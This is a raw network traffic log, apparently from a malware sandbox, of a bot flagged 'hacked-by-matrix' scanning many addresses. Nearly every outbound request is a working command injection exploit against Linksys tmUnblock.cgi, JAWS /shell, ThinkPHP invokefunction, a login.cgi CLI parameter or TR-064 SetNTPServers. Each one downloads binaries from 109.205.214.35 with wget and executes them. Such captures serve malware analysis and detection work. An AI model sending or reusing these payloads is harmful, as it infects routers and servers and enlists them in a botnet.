Mar 21, 2024 05:17:49.479615927 CET	499	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:49 GMT Server: Apache/2.4.56 (Debian) Content-Length: 305 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 64 79 61 74 6c 6f 76 61 69 74 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Debian) Server at dyatlovait.ru Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
497	192.168.2.13	56244	172.65.50.142	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.832055092 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
498	192.168.2.13	37856	172.65.20.52	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.832307100 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
499	192.168.2.13	48546	69.192.47.52	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.927994013 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:43.443464994 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:43.602952003 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:17:43 GMT Date: Thu, 21 Mar 2024 04:17:43 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 31 62 65 61 34 32 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 36 36 33 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.1bea4217.1710994663.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
500	192.168.2.13	44988	18.66.147.8	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.928056002 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:43.459922075 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:43.632296085 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
501	192.168.2.13	39420	38.182.158.220	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.928059101 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:43.103076935 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:43 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
502	192.168.2.13	50888	185.195.42.173	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.939510107 CET	188	IN	HTTP/1.0 400 Bad request Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
503	192.168.2.13	60074	112.167.46.91	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.094317913 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
504	192.168.2.13	36944	51.255.32.203	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.270104885 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:44.147799969 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:45.172096968 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:47.219841957 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:47.383641005 CET	505	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:47 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 311 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6c 61 74 66 6f 72 6d 2e 6d 79 2d 72 73 65 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.18 (Ubuntu) Server at platform.my-rse.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
505	192.168.2.13	59080	34.117.190.122	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.320244074 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:43.482136965 CET	441	IN	HTTP/1.0 400 Bad Request Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 273 Date: Thu, 21 Mar 2024 04:17:43 GMT Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 68 32 3e 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>400 Bad Request</title></head><body text=#000000 bgcolor=#ffffff><h1>Error: Bad Request</h1><h2>Your client has issued a malformed or illegal request.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
506	192.168.2.13	40996	212.57.38.182	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.322293043 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:43.523138046 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:43 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
507	192.168.2.13	38752	108.190.85.20	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.326076031 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:47.443818092 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:47.580449104 CET	500	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Thu, 21 Mar 2024 04:17:48 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
508	192.168.2.13	42724	174.115.204.150	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.419353008 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
509	192.168.2.13	56338	99.255.42.68	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.419431925 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
510	192.168.2.13	42810	174.115.204.150	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.548182964 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
511	192.168.2.13	56428	99.255.42.68	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.548358917 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
512	192.168.2.13	54588	172.64.29.176	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.584692955 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
513	192.168.2.13	36410	72.212.13.238	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.700668097 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
514	192.168.2.13	36786	112.199.58.107	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.720212936 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
515	192.168.2.13	34492	50.52.6.172	7547

Timestamp	Bytes transferred	Direction	Data
